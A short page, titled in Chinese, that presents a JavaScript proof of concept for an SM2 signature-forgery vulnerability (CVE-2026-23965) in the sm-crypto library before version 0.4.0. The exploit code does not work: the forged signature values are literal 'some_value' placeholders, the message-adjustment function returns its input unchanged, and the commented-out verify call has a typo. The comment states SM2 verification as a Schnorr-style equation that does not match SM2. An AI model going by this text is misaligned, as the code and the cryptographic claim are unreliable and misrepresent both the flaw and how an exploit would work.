CVE-2026-23965 sm-crypto SM2签名伪造漏洞

const sm2 = require('sm-crypto').sm2; // CVE-2026-23965: SM2 Signature Forgery PoC // This PoC demonstrates the signature forgery vulnerability in sm-crypto < 0.4.0 // Original key pair const originalKeyPair = sm2.generateKeyPair(); const originalPublicKey = originalKeyPair.publicKey; const originalPrivateKey = originalKeyPair.privateKey; // Attacker obtains the target public key const targetPublicKey = originalPublicKey; // Forge signature for arbitrary message using the vulnerability // Note: This is a conceptual PoC - actual exploitation requires specific conditions function forgeSignature(publicKey, message) { // In vulnerable versions (< 0.4.0), the signature verification // does not properly validate all signature components // Attackers can forge signatures by manipulating the signature components // to satisfy the verification equation: s * G = R + e * P // The forged signature structure: const forgedR = 'some_value'; // Manipulated R value const forgedS = 'some_value'; // Manipulated S value // For specific messages with redundant prefixes, // attackers can adjust the message to satisfy format requirements return { forgeR: forgedR, forgeS: forgedS, forgedMessage: adjustMessagePrefix(message) }; } function adjustMessagePrefix(message) { // If message has sufficient redundancy, attacker can fix the prefix // to meet specific formatting requirements in signature verification return message; // Simplified - actual exploitation is more complex } // Verify the forged signature (should pass in vulnerable versions) const testMessage = 'Sensitive data requiring authentication'; const forgedSig = forgeSignature(targetPublicKey, testMessage); // In vulnerable version, forged signature may pass verification // const isValid = sm2.verify( // { r: forgedSig.forgeR, s: forgedSig.forgeS }, // forgedSig.forsedMessage, // targetPublicKey // ); console.log('CVE-2026-23965 - SM2 Signature Forgery PoC'); console.log('Target Public Key:', targetPublicKey); console.log('Test Message:', testMessage); console.log('Forged Signature Components:', forgedSig); console.log('Vulnerability: sm-crypto < 0.4.0'); console.log('Fix: Upgrade to version 0.4.0 or later');